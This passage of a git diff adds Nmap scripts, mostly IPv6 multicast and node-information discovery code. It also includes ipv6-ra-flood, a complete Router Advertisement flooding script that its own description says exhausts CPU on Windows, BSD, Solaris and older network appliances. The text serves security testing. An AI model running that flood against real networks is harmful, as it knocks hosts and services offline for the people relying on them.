+FF0X:0:0:0:0:0:0:105,Artificial Horizons - Aviator,[Bruce_Factor],,
+FF0X:0:0:0:0:0:0:106,NSS - Name Service Server,[Bill_Schilit],,
+FF0X:0:0:0:0:0:0:107,AUDIONEWS - Audio News Multicast,[Martin_Forssen],,
+FF0X:0:0:0:0:0:0:108,SUN NIS+ Information Service,[Chuck_McManis],,
+FF0X:0:0:0:0:0:0:109,MTP Multicast Transport Protocol,[Susie_Armstrong],,
+FF0X:0:0:0:0:0:0:10A,IETF-1-LOW-AUDIO,[Steve_Casner],,
+FF0X:0:0:0:0:0:0:10B,IETF-1-AUDIO,[Steve_Casner],,
+FF0X:0:0:0:0:0:0:10C,IETF-1-VIDEO,[Steve_Casner],,
+FF0X:0:0:0:0:0:0:10D,IETF-2-LOW-AUDIO,[Steve_Casner],,
+FF0X:0:0:0:0:0:0:10E,IETF-2-AUDIO,[Steve_Casner],,
+FF0X:0:0:0:0:0:0:10F,IETF-2-VIDEO,[Steve_Casner],,
+FF0X:0:0:0:0:0:0:110,MUSIC-SERVICE,[[Guido van Rossum]],,
+FF0X:0:0:0:0:0:0:111,SEANET-TELEMETRY,[[Andrew Maffei]],,
+FF0X:0:0:0:0:0:0:112,SEANET-IMAGE,[[Andrew Maffei]],,
+FF0X:0:0:0:0:0:0:113,MLOADD,[Bob_Braden],1996-04-01,
+FF0X:0:0:0:0:0:0:114,any private experiment,[Jon_Postel],,
+FF0X:0:0:0:0:0:0:115,DVMRP on MOSPF,[John_Moy],,
+FF0X:0:0:0:0:0:0:116,SVRLOC,[Erik_Guttman],2001-05-01,
+FF0X:0:0:0:0:0:0:117,XINGTV,[<hgxing&aol.com>],,
+FF0X:0:0:0:0:0:0:118,microsoft-ds,[Arnold_M],,
+FF0X:0:0:0:0:0:0:119,nbc-pro,[Bloomer],,
+FF0X:0:0:0:0:0:0:11A,nbc-pfn,[Bloomer],,
+FF0X:0:0:0:0:0:0:11B,lmsc-calren-1,[Yea_Uang],1994-11-01,
+FF0X:0:0:0:0:0:0:11C,lmsc-calren-2,[Yea_Uang],1994-11-01,
+FF0X:0:0:0:0:0:0:11D,lmsc-calren-3,[Yea_Uang],1994-11-01,
+FF0X:0:0:0:0:0:0:11E,lmsc-calren-4,[Yea_Uang],1994-11-01,
+FF0X:0:0:0:0:0:0:11F,ampr-info,[Rob_Janssen],1995-01-01,
+FF0X:0:0:0:0:0:0:120,mtrace,[Steve_Casner],1995-01-01,
+FF0X:0:0:0:0:0:0:121,RSVP-encap-1,[Bob_Braden],1996-04-01,
+FF0X:0:0:0:0:0:0:122,RSVP-encap-2,[Bob_Braden],1996-04-01,
+FF0X:0:0:0:0:0:0:123,SVRLOC-DA,[Erik_Guttman],2001-05-01,
+FF0X:0:0:0:0:0:0:124,rln-server,[Brian_Kean],1995-08-01,
+FF0X:0:0:0:0:0:0:125,proshare-mc,[Mark_Lewis],1995-10-01,
+FF0X:0:0:0:0:0:0:126,dantz,[Dotty_Yackle],1996-02-01,
+FF0X:0:0:0:0:0:0:127,cisco-rp-announce,[Dino_Farinacci],,
+FF0X:0:0:0:0:0:0:128,cisco-rp-discovery,[Dino_Farinacci],,
+FF0X:0:0:0:0:0:0:129,gatekeeper,[Jim_Toga],1996-05-01,
+FF0X:0:0:0:0:0:0:12A,iberiagames,[Jose_Luis_Marocho],1996-07-01,
+FF0X:0:0:0:0:0:0:12B,X Display,[John_McKernan],2003-05-01,
+FF0X:0:0:0:0:0:0:12C,dof-multicast,[Bryant_Eastham],2005-04-01,2015-04-23
+FF0X:0:0:0:0:0:0:12D,DvbServDisc,[Bert_van_Willigen],2005-09-16,
+FF0X:0:0:0:0:0:0:12E,Ricoh-device-ctrl,[Kohki_Ohhira],2006-06-20,
+FF0X:0:0:0:0:0:0:12F,Ricoh-device-ctrl,[Kohki_Ohhira],2006-06-20,
+FF0X:0:0:0:0:0:0:130,UPnP,[UPnP_Forum],2006-09-21,
+FF0X:0:0:0:0:0:0:131,Systech Mcast,[Dan_Jakubiec],2006-09-21,
+FF0X:0:0:0:0:0:0:132,omasg,[Mark_Lipford],2006-09-21,
+FF0X:0:0:0:0:0:0:133,ASAP,[RFC5352],,
+FF0X:0:0:0:0:0:0:134,unserding,[Sebastian_Freundt],2009-11-30,
+FF0X:0:0:0:0:0:0:135,PHILIPS-HEALTH,[Anthony_Kandaya],2010-02-26,
+FF0X:0:0:0:0:0:0:136,PHILIPS-HEALTH,[Anthony_Kandaya],2010-02-26,
+FF0X:0:0:0:0:0:0:137,Niagara,[Owen_Michael_James],2010-09-13,
+FF0X:0:0:0:0:0:0:138,LXI-EVENT,[Tom_Fay],2011-01-31,
+FF0X:0:0:0:0:0:0:139,LANCOM Discover,[Martin_Krebs],2011-05-09,
+FF0X:0:0:0:0:0:0:13A,AllJoyn,[Craig_Dowell],2011-11-18,
+FF0X:0:0:0:0:0:0:13B,GNUnet,[Christian_Grothoff],2011-11-22,
+FF0X:0:0:0:0:0:0:13C,fos4Xdevices,[Rolf_Wojtech],2011-12-07,
+FF0X:0:0:0:0:0:0:13D,USNAMES-NET-MC,[Christopher_Mettin],2013-01-24,
+FF0X:0:0:0:0:0:0:13E,hp-msm-discover,[John_Flick],2013-02-28,
+FF0X:0:0:0:0:0:0:13F,"SANYO DENKI CO., LTD.",[Yuuki_Hara],2014-03-20,
+FF0X:0:0:0:0:0:0:140-FF0X:0:0:0:0:0:0:14F,EPSON-disc-set,[Seiko_Epson_Corp],2010-02-26,
+FF0X:0:0:0:0:0:0:150,an-adj-disc,[Toerless_Eckert],2014-06-04,
+FF0X:0:0:0:0:0:0:151,Canon-Device-control,[Hiroshi_Okubo],2014-08-01,
+FF0X:0:0:0:0:0:0:152,TinyMessage,[Josip_Medved],2014-12-09,
+FF0X:0:0:0:0:0:0:153,ZigBee NAN DS,[Yusuke_Doi],2015-08-21,
+FF0X:0:0:0:0:0:0:154,ZigBee NAN DI,[Yusuke_Doi],2015-08-21,
+FF0X:0:0:0:0:0:0:155,jini-announcement,[Jini Discovery and Join Specification][Peter_Grahame_Firmstone],2015-08-27,
+FF0X:0:0:0:0:0:0:156,jini-request,[Jini Discovery and Join Specification][Peter_Grahame_Firmstone],2015-08-27,
+FF0X:0:0:0:0:0:0:157,hbmdevices,[Stephan_Gatzka],2015-10-26,
+FF0X:0:0:0:0:0:0:160-FF0X:0:0:0:0:0:0:16F,NMEA OneNet,[Steve_Spitzer],2015-06-29,
+FF0X:0:0:0:0:0:0:175,all SIP servers,[Rick_van_Rein],2015-07-21,
+FF0X:0:0:0:0:0:0:181,PTP-primary,[http://ieee1588.nist.gov/][Kang_Lee],2007-02-02,
+FF0X:0:0:0:0:0:0:182,PTP-alternate1,[http://ieee1588.nist.gov/][Kang_Lee],2007-02-02,
+FF0X:0:0:0:0:0:0:183,PTP-alternate2,[http://ieee1588.nist.gov/][Kang_Lee],2007-02-02,
+FF0X:0:0:0:0:0:0:184,PTP-alternate3,[http://ieee1588.nist.gov/][Kang_Lee],2007-02-02,
+FF0X:0:0:0:0:0:0:18C,All ACs multicast address,[RFC5415],,
+FF0X:0:0:0:0:0:0:201,"""rwho"" Group (BSD) (unofficial)",[Jon_Postel],,
+FF0X:0:0:0:0:0:0:202,SUN RPC PMAPPROC_CALLIT,[Brendan_Eic],,
+FF0X:0:0:0:0:0:0:204,All C1222 Nodes,[RFC6142],2009-08-28,
+FF0X:0:0:0:0:0:0:205,Hexabus,[Mathias_Dalheimer],2013-08-09,
+FF0X:0:0:0:0:0:0:206,multicast chat,[Patrik_Lahti],2013-08-13,
+FF0X:0:0:0:0:0:0:2C0-FF0X:0:0:0:0:0:0:2FF,Garmin Marine,[Nathan_Karstens],2015-02-19,
+FF0X:0:0:0:0:0:0:300,Mbus/Ipv6,[RFC3259],,
+FF0X:0:0:0:0:0:0:3486,IFSF Heartbeat,[John_Carrier],2015-06-15,
+FF0X:0:0:0:0:0:0:BAC0,BACnet,[Coleman_Brumley],2010-11-22,
+FF0X::1:1000/118,"Service Location, Version 2",[RFC3111],,
+FF0X:0:0:0:0:0:2:0000-FF0X:0:0:0:0:0:2:7FFD,Multimedia Conference Calls,[Steve_Casner],,
+FF0X:0:0:0:0:0:2:7FFE,SAPv1 Announcements,[Steve_Casner],,
+FF0X:0:0:0:0:0:2:7FFF,SAPv0 Announcements (deprecated),[Steve_Casner],,
+FF0X:0:0:0:0:0:2:8000-FF0X:0:0:0:0:0:2:FFFF,SAP Dynamic Assignments,[Steve_Casner],,
+FF0X::DB8:0:0/96,Documentation Addresses,[RFC6676],,
+]==]
+
+local function sort_ip_ascending(a, b)
+ return ipOps.compare_ip(a[0], "lt", b[0])
+end
+
+local multicast_addresses = {}
+local multicast_ranges = {}
+do
+ local starts, ends, addr, name = string.find(link_scope, "^([^,]+),([^,]+),.-\n")
+ while starts do
+ if string.match(addr, "[/-]") then
+ local low, high, err = ipOps.get_ips_from_range(addr)
+ if not low then
+ stdnse.debug1("Error parsing IP range %s: %s", addr, err)
+ else
+ table.insert(multicast_ranges, {low, high, name})
+ end
+ else
+ multicast_addresses[string.lower(ipOps.expand_ip(addr))] = name
+ end
+ starts, ends, addr, name = string.find(link_scope, "^([^,]+),([^,]+),.-\n", ends + 1)
+ end
+
+ starts, ends, addr, name = string.find(var_scope, "^([^,]+),([^,]+),.-\n")
+ while starts do
+ addr = string.gsub(addr, "FF0X", "FF02")
+ if string.match(addr, "[/-]") then
+ local low, high, err = ipOps.get_ips_from_range(addr)
+ if not low then
+ stdnse.debug1("Error parsing IP range %s: %s", addr, err)
+ else
+ table.insert(multicast_ranges, {low, high, name})
+ end
+ else
+ multicast_addresses[string.lower(ipOps.expand_ip(addr))] = name
+ end
+ starts, ends, addr, name = string.find(link_scope, "^([^,]+),([^,]+),.-\n", ends + 1)
+ end
+
+ table.sort(multicast_ranges, sort_ip_ascending)
+end
+
+local function get_interfaces()
+ local if_list = nmap.list_interfaces()
+ local if_ret = {}
+ local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
+
+ for _, if_nfo in pairs(if_list) do
+ if (arg_interface == nil or if_nfo.device == arg_interface) -- check for correct interface
+ and ipOps.ip_in_range(if_nfo.address, "fe80::/10") -- link local address
+ and if_nfo.link == "ethernet" then -- not the loopback interface
+ table.insert(if_ret, if_nfo)
+ end
+ end
+
+ return if_ret
+end
+
+local function single_interface_broadcast(if_nfo, results)
+ stdnse.debug2("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
+ local condvar = nmap.condvar(results)
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timeout')) or 10
+
+ local reports = multicast.mld_query(if_nfo, timeout)
+ for addr, info in pairs(multicast.mld_report_addresses(reports)) do
+ if results[addr] then
+ stdnse.debug1("Duplicate address found: %s, interface %s", addr, info.device)
+ end
+ results[addr] = info
+ end
+
+ condvar("signal")
+end
+
+---
+-- Calculates the solicited-node multicast address used by NDP from a unicast
+-- link-local IPv6 address.
+--
+-- @param ll_ip String representation of a link-local IPv6 unicast address
+-- @usage
+-- mcast_ip = get_sol_mcast(ll_ip)
+-- @return The calculated solicited-node multicast address or <code>nil</code>
+-- if the given parameter is not a valid link-local address.
+--
+local function get_sol_mcast (ll_ip)
+ -- check if address is link-local
+ local is_ll, err = ipOps.ip_in_range(ll_ip, "FE80::/10")
+ if not(is_ll) then
+ return nil
+ end
+ -- calculate multicast address
+ local three_bytes = string.sub(ipOps.ip_to_str(ll_ip), 14, 16)
+ local thirteen_bytes = "\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\00\x01\xff"
+ return ipOps.str_to_ip(thirteen_bytes .. three_bytes)
+end
+
+local function sorted_keys(t)
+ local ret = {}
+ local k, v
+ -- deliberately avoiding pairs() because of __pairs metamethod in action
+ repeat
+ k, v = next(t, k)
+ ret[#ret+1] = k
+ until k == nil
+ table.sort(ret, sort_ip_ascending)
+ return ret
+end
+
+prerule = function()
+ if not(nmap.is_privileged()) then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+ return true
+end
+
+action = function()
+ local results = {}
+ local threads = {}
+ local condvar = nmap.condvar(results)
+
+ for _, if_nfo in ipairs(get_interfaces()) do
+ -- create a thread for each interface
+ local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
+ threads[co] = true
+ end
+
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ local guesses = {}
+ local mip_metatable = {
+ __tostring = function(t)
+ return ("%-25s (%s)"):format(t.ip, t.description)
+ end
+ }
+ for target_ip, info in pairs(results) do
+ table.sort(info.multicast_ips, sort_ip_ascending)
+ for i=1, #info.multicast_ips do
+ local ip = info.multicast_ips[i]
+ local t = {ip=ip}
+ local tmp = string.lower(ipOps.expand_ip(ip))
+ local desc = multicast_addresses[tmp]
+ if not desc then
+ if ipOps.compare_ip(ip, "eq", get_sol_mcast(target_ip)) then
+ desc = "NDP Solicited-node"
+ else
+ stdnse.debug1("Addr: %s", ip)
+ for j=1, #multicast_ranges do
+ if ipOps.compare_ip(ip, "le", multicast_ranges[j][2]) then
+ stdnse.debug1("<= %s", multicast_ranges[j][2])
+ if ipOps.compare_ip(ip, "ge", multicast_ranges[j][1]) then
+ stdnse.debug1(">= %s", multicast_ranges[j][1])
+ desc = multicast_ranges[j][3]
+ else
+ stdnse.debug1("> %s", multicast_ranges[j][2])
+ end
+ stdnse.debug1("done %s", multicast_ranges[j][3])
+ break
+ end
+ stdnse.debug1("> %s", multicast_ranges[j][2])
+ end
+ end
+ end
+ t.description = desc or "unknown"
+ setmetatable(t, mip_metatable)
+ info.multicast_ips[i] = t
+ end
+ end
+
+ setmetatable(results, {
+ __pairs = function(t)
+ local order = sorted_keys(t)
+ return coroutine.wrap(function()
+ for i,k in ipairs(order) do
+ coroutine.yield(k, t[k])
+ end
+ end)
+ end
+ })
+ if next(results) then
+ return results
+ end
+end
diff --git a/scripts/ipv6-node-info.nse b/scripts/ipv6-node-info.nse
new file mode 100644
index 0000000..56f280a
--- /dev/null
+++ b/scripts/ipv6-node-info.nse
@@ -0,0 +1,337 @@
+local dns = require "dns"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local outlib = require "outlib"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local rand = require "rand"
+
+description = [[
+Obtains hostnames, IPv4 and IPv6 addresses through IPv6 Node Information Queries.
+
+IPv6 Node Information Queries are defined in RFC 4620. There are three
+useful types of queries:
+* qtype=2: Node Name
+* qtype=3: Node Addresses
+* qtype=4: IPv4 Addresses
+
+Some operating systems (Mac OS X and OpenBSD) return hostnames in
+response to qtype=4, IPv4 Addresses. In this case, the hostnames are still
+shown in the "IPv4 addresses" output row, but are prefixed by "(actually
+hostnames)".
+]]
+
+---
+-- @usage nmap -6 <target>
+--
+-- @output
+-- | ipv6-node-info:
+-- | Hostnames: mac-mini.local
+-- | IPv6 addresses: fe80::a8bb:ccff:fedd:eeff, 2001:db8:1234:1234::3
+-- |_ IPv4 addresses: mac-mini.local
+--
+-- @xmloutput
+-- <elem key="Hostnames">mac-mini.local</elem>
+-- <table key="IPv6 addresses">
+-- <elem>fe80::a8bb:ccff:fedd:eeff</elem>
+-- <elem>2001:db8:1234:1234::3</elem>
+-- </table>
+-- <table key="IPv4 addresses">
+-- <elem>mac-mini.local</elem>
+-- </table>
+
+categories = {"default", "discovery", "safe"}
+
+author = "David Fifield"
+
+
+local ICMPv6_NODEINFOQUERY = 139
+local ICMPv6_NODEINFOQUERY_IPv6ADDR = 0
+local ICMPv6_NODEINFOQUERY_NAME = 1
+local ICMPv6_NODEINFOQUERY_IPv4ADDR = 1
+local ICMPv6_NODEINFORESP = 140
+local ICMPv6_NODEINFORESP_SUCCESS = 0
+local ICMPv6_NODEINFORESP_REFUSED = 1
+local ICMPv6_NODEINFORESP_UNKNOWN = 2
+
+local QTYPE_NOOP = 0
+local QTYPE_NODENAME = 2
+local QTYPE_NODEADDRESSES = 3
+local QTYPE_NODEIPV4ADDRESSES = 4
+
+local QTYPE_STRINGS = {
+ [QTYPE_NOOP] = "NOOP",
+ [QTYPE_NODENAME] = "Hostnames",
+ [QTYPE_NODEADDRESSES] = "IPv6 addresses",
+ [QTYPE_NODEIPV4ADDRESSES] = "IPv4 addresses",
+}
+
+local function build_ni_query(src, dst, qtype)
+ local flags
+ local nonce = rand.random_string(8)
+ if qtype == QTYPE_NODENAME then
+ flags = 0x0000
+ elseif qtype == QTYPE_NODEADDRESSES then
+ -- Set all the flags GSLCA (see RFC 4620, Figure 3).
+ flags = 0x003E
+ elseif qtype == QTYPE_NODEIPV4ADDRESSES then
+ -- Set the A flag (see RFC 4620, Figure 4).
+ flags = 0x0002
+ else
+ error("Unknown qtype " .. qtype)
+ end
+ local payload = string.pack(">I2 I2", qtype, flags) .. nonce .. dst
+ local p = packet.Packet:new()
+ p:build_icmpv6_header(ICMPv6_NODEINFOQUERY, ICMPv6_NODEINFOQUERY_IPv6ADDR, payload, src, dst)
+ p:build_ipv6_packet(src, dst, packet.IPPROTO_ICMPV6)
+
+ return p.buf
+end
+
+function hostrule(host)
+ return nmap.is_privileged() and #host.bin_ip == 16 and host.interface
+end
+
+local function open_sniffer(host)
+ local bpf
+ local s
+
+ s = nmap.new_socket()
+ bpf = string.format("ip6 and src host %s", host.ip)
+ s:pcap_open(host.interface, 1500, false, bpf)
+
+ return s
+end
+
+local function send_queries(host)
+ local dnet
+
+ dnet = nmap.new_dnet()
+ dnet:ip_open()
+ local p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODEADDRESSES)
+ dnet:ip_send(p, host)
+ p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODENAME)
+ dnet:ip_send(p, host)
+ p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODEIPV4ADDRESSES)
+ dnet:ip_send(p, host)
+ dnet:ip_close()
+end
+
+local function empty(t)
+ return not next(t)
+end
+
+-- Try to decode a Node Name reply data field. If successful, returns true and
+-- a list of DNS names. In case of a parsing error, returns false and the
+-- partial list of names that were parsed prior to the error.
+local function try_decode_nodenames(data)
+ local names = {}
+
+ local ttl, pos = string.unpack(">I4", data)
+ if not ttl then
+ return false, names
+ end
+ while pos <= #data do
+ local name
+
+ pos, name = dns.decStr(data, pos)
+ if not name then
+ return false, names
+ end
+ -- Ignore empty names, such as those at the end.
+ if name ~= "" then
+ names[#names + 1] = name
+ end
+ end
+
+ return true, names
+end
+
+local function stringify_noop(flags, data)
+ return "replied"
+end
+
+-- RFC 4620, section 6.3.
+local function stringify_nodename(flags, data)
+ local status, names
+
+ status, names = try_decode_nodenames(data)
+ if empty(names) then
+ return
+ end
+ if not status then
+ names[#names+1] = "(parsing error)"
+ end
+
+ outlib.list_sep(names)
+ return names
+end
+
+-- RFC 4620, section 6.3.
+local function stringify_nodeaddresses(flags, data)
+ local ttl, binaddr
+ local addrs = {}
+ local pos = nil
+
+ while true do
+ ttl, binaddr, pos = string.unpack(">I4 c16", data, pos)
+ if not ttl then
+ break
+ end
+ addrs[#addrs + 1] = ipOps.str_to_ip(binaddr)
+ end
+ if empty(addrs) then
+ return
+ end
+
+ if (flags & 0x01) ~= 0 then
+ addrs[#addrs+1] = "(more omitted for space reasons)"
+ end
+
+ outlib.list_sep(addrs)
+ return addrs
+end
+
+-- RFC 4620, section 6.4.
+-- But Mac OS X puts DNS names in here instead of IPv4 addresses, but it
+-- doesn't include the two empty labels at the end as it does with a Node Name
+-- response. For example, here is a Node Name reply:
+-- 00 00 00 00 0e 6d 61 63 2d 6d 69 6e 69 2e 6c 6f .....mac -mini.lo
+-- 63 61 6c 00 00 cal..
+-- And here is a Node Addresses reply:
+-- 00 00 00 00 0e 6d 61 63 2d 6d 69 6e 69 2e 6c 6f .....mac -mini.lo
+-- 63 61 6c cal
+local function stringify_nodeipv4addresses(flags, data)
+ local status, names
+ local ttl, binaddr
+ local addrs = {}
+ local pos = nil
+
+ -- Check for DNS names.
+ status, names = try_decode_nodenames(data .. "\0\0")
+ if status then
+ outlib.list_sep(names)
+ return names
+ end
+
+ -- Okay, looks like it's really IP addresses.
+ while true do
+ ttl, binaddr, pos = string.unpack(">I4 c4", data, pos)
+ if not ttl then
+ break
+ end
+ addrs[#addrs + 1] = ipOps.str_to_ip(binaddr)
+ end
+ if empty(addrs) then
+ return
+ end
+
+ if (flags & 0x01) ~= 0 then
+ addrs[#addrs+1] = "(more omitted for space reasons)"
+ end
+
+ outlib.list_sep(addrs)
+ return addrs
+end
+
+local STRINGIFY = {
+ [QTYPE_NOOP] = stringify_noop,
+ [QTYPE_NODENAME] = stringify_nodename,
+ [QTYPE_NODEADDRESSES] = stringify_nodeaddresses,
+ [QTYPE_NODEIPV4ADDRESSES] = stringify_nodeipv4addresses,
+}
+
+local function handle_received_packet(buf)
+ local text
+
+ local p = packet.Packet:new(buf)
+ if p.icmpv6_type ~= ICMPv6_NODEINFORESP then
+ return
+ end
+ local qtype, flags, pos = string.unpack(">I2I2", p.buf, p.icmpv6_offset + 4)
+ local data = string.sub(p.buf, pos + 8)
+
+ if not STRINGIFY[qtype] then
+ -- This is a not a qtype we sent or know about.
+ stdnse.debug1("Got NI reply with unknown qtype %d from %s", qtype, p.ip6_src)
+ return
+ end
+
+ if p.icmpv6_code == ICMPv6_NODEINFORESP_SUCCESS then
+ text = STRINGIFY[qtype](flags, data)
+ elseif p.icmpv6_code == ICMPv6_NODEINFORESP_REFUSED then
+ text = "refused"
+ elseif p.icmpv6_code == ICMPv6_NODEINFORESP_UNKNOWN then
+ text = string.format("target said: qtype %d is unknown", qtype)
+ else
+ text = string.format("unknown ICMPv6 code %d for qtype %d", p.icmpv6_code, qtype)
+ end
+
+ return qtype, text
+end
+
+local function format_results(results)
+ if empty(results) then
+ return nil
+ end
+ local QTYPE_ORDER = {
+ QTYPE_NOOP,
+ QTYPE_NODENAME,
+ QTYPE_NODEADDRESSES,
+ QTYPE_NODEIPV4ADDRESSES,
+ }
+ local output
+
+ output = stdnse.output_table()
+ for _, qtype in ipairs(QTYPE_ORDER) do
+ if results[qtype] then
+ output[QTYPE_STRINGS[qtype]] = results[qtype]
+ end
+ end
+
+ return output
+end
+
+function action(host)
+ local s
+ local timeout, end_time, now
+ local pending, results
+
+ timeout = host.times.timeout * 10
+
+ s = open_sniffer(host)
+
+ send_queries(host)
+
+ pending = {
+ [QTYPE_NODENAME] = true,
+ [QTYPE_NODEADDRESSES] = true,
+ [QTYPE_NODEIPV4ADDRESSES] = true,
+ }
+ results = {}
+
+ now = nmap.clock_ms()
+ end_time = now + timeout
+ repeat
+ local _, status, buf
+
+ s:set_timeout((end_time - now) * 1000)
+
+ status, _, _, buf = s:pcap_receive()
+ if status then
+ local qtype, text = handle_received_packet(buf)
+ if qtype then
+ results[qtype] = text
+ pending[qtype] = nil
+ end
+ end
+
+ now = nmap.clock_ms()
+ until empty(pending) or now > end_time
+
+ s:pcap_close()
+
+ return format_results(results)
+end
diff --git a/scripts/ipv6-ra-flood.nse b/scripts/ipv6-ra-flood.nse
new file mode 100644
index 0000000..0ecc4e0
--- /dev/null
+++ b/scripts/ipv6-ra-flood.nse
@@ -0,0 +1,197 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local os = require "os"
+local rand = require "rand"
+
+description = [[
+Generates a flood of Router Advertisements (RA) with random source MAC
+addresses and IPv6 prefixes. Computers, which have stateless autoconfiguration
+enabled by default (every major OS), will start to compute IPv6 suffix and
+update their routing table to reflect the accepted announcement. This will
+cause 100% CPU usage on Windows and platforms, preventing to process other
+application requests.
+
+Vulnerable platforms:
+* All Cisco IOS ASA with firmware < November 2010
+* All Netscreen versions supporting IPv6
+* Windows 2000/XP/2003/Vista/7/2008/8/2012
+* All FreeBSD versions
+* All NetBSD versions
+* All Solaris/Illumos versions
+
+Security advisory: http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt
+
+WARNING: This script is dangerous and is very likely to bring down a server or
+network appliance. It should not be run in a production environment unless you
+(and, more importantly, the business) understand the risks!
+
+Additional documents: https://tools.ietf.org/rfc/rfc6104.txt
+]]
+
+---
+-- @args ipv6-ra-flood.interface defines interface we should broadcast on
+-- @args ipv6-ra-flood.timeout runs the script until the timeout is reached
+-- (default: 30s). If timeout is zero, the script will run forever.
+--
+-- @usage
+-- nmap -6 --script ipv6-ra-flood.nse
+-- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>'
+-- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>,timeout=10s'
+
+author = "Adam Å tevko"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"dos", "intrusive"}
+
+try = nmap.new_try()
+
+prerule = function()
+ if nmap.address_family() ~= "inet6" then
+ stdnse.debug1("is IPv6 compatible only.")
+ return false
+ end
+
+ if not nmap.is_privileged() then
+ stdnse.debug1("Running %s needs root privileges.", SCRIPT_NAME)
+ return false
+ end
+
+ if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
+ stdnse.debug1("No interface was selected, aborting...")
+ return false
+ end
+
+ return true
+end
+
+local function get_interface()
+ local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
+
+ local if_table = nmap.get_interface_info(arg_interface)
+
+ if if_table and ipOps.ip_to_str(if_table.address) and if_table.link == "ethernet" then
+ return if_table.device
+ else
+ stdnse.debug1("Interface %s not supported or not properly configured, exiting...", arg_interface)
+ end
+end
+
+--- Generates random MAC address
+-- @return mac string containing random MAC address
+local function random_mac()
+ return "\x00\xb4" .. rand.random_string(4)
+end
+
+--- Generates random IPv6 prefix
+-- @return prefix string containing random IPv6 /64 prefix
+local function get_random_prefix()
+ return "\x2a\x01" .. rand.random_string(6) .. ("\0"):rep(8)
+end
+
+--- Build an ICMPv6 payload of Router Advertisement.
+-- @param mac_src six-byte string of the source MAC address.
+-- @param prefix 16-byte string of IPv6 address.
+-- @param prefix_len integer that represents the length of the prefix.
+-- @param valid_time integer that represents the valid time of the prefix.
+-- @param preferred_time integer that represents the preferred time of the prefix.
+-- @param mtu integer that represents MTU of the link
+-- @return icmpv6_payload string representing ICMPv6 RA payload
+
+local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
+ local ra_msg = string.char(0x0, --cur hop limit
+ 0x08, --flags
+ 0x00,0x00, --router lifetime
+ 0x00,0x00,0x00,0x00, --reachable time
+ 0x00,0x00,0x00,0x00) --retrans timer
+
+ local mtu_option_msg = string.pack(">I2 I4",
+ 0, -- reserved
+ mtu -- MTU
+ )
+
+ local prefix_option_msg = string.pack(">BB I4 I4 I4",
+ prefix_len,
+ 0xc0, --flags: Onlink, Auto
+ valid_time, -- valid lifetime
+ preferred_time, -- preferred lifetime
+ 0 -- unknown
+ ) .. prefix
+
+ local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
+ local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
+ local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
+
+ local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
+
+ return icmpv6_payload
+end
+
+--- Broadcasting on the selected interface
+-- @param iface table containing interface information
+local function broadcast_on_interface(iface)
+ stdnse.verbose1("Starting on interface " .. iface)
+
+ -- packet counter
+ local counter = 0
+
+ local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
+ arg_timeout = arg_timeout or 30
+
+ local dnet = nmap.new_dnet()
+
+ try(dnet:ethernet_open(iface))
+
+ local dst_mac = packet.mactobin("33:33:00:00:00:01")
+ local dst_ip6_addr = ipOps.ip_to_str("ff02::1")
+
+ local prefix_len = 64
+
+ --- maximum possible value of 4-byte integer
+ local valid_time = tonumber(0xffffffff)
+ local preferred_time = tonumber(0xffffffff)
+
+ local mtu = 1500
+
+ local start, stop = os.time()
+
+ while true do
+
+ local src_mac = random_mac()
+ local src_ip6_addr = packet.mac_to_lladdr(src_mac)
+
+ local prefix = get_random_prefix()
+
+ local packet = packet.Frame:new()
+
+ packet.mac_src = src_mac
+ packet.mac_dst = dst_mac
+ packet.ip_bin_src = src_ip6_addr
+ packet.ip_bin_dst = dst_ip6_addr
+
+ local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preferred_time, mtu)
+ packet:build_icmpv6_header(134, 0, icmpv6_payload)
+ packet:build_ipv6_packet()
+ packet:build_ether_frame()
+
+ try(dnet:ethernet_send(packet.frame_buf))
+
+ counter = counter + 1
+
+ if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
+ stop = os.time()
+ break
+ end
+ end
+
+ if counter > 0 then
+ stdnse.debug1("generated %d packets in %d seconds.", counter, stop - start)
+ end
+end
+
+function action()
+ local interface = get_interface()
+
+ broadcast_on_interface(interface)
+end
diff --git a/scripts/irc-botnet-channels.nse b/scripts/irc-botnet-channels.nse
new file mode 100644
index 0000000..73da1f2
--- /dev/null
+++ b/scripts/irc-botnet-channels.nse
@@ -0,0 +1,315 @@
+local comm = require "comm"
+local irc = require "irc"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local rand = require "rand"
+
+description = [[
+Checks an IRC server for channels that are commonly used by malicious botnets.
+
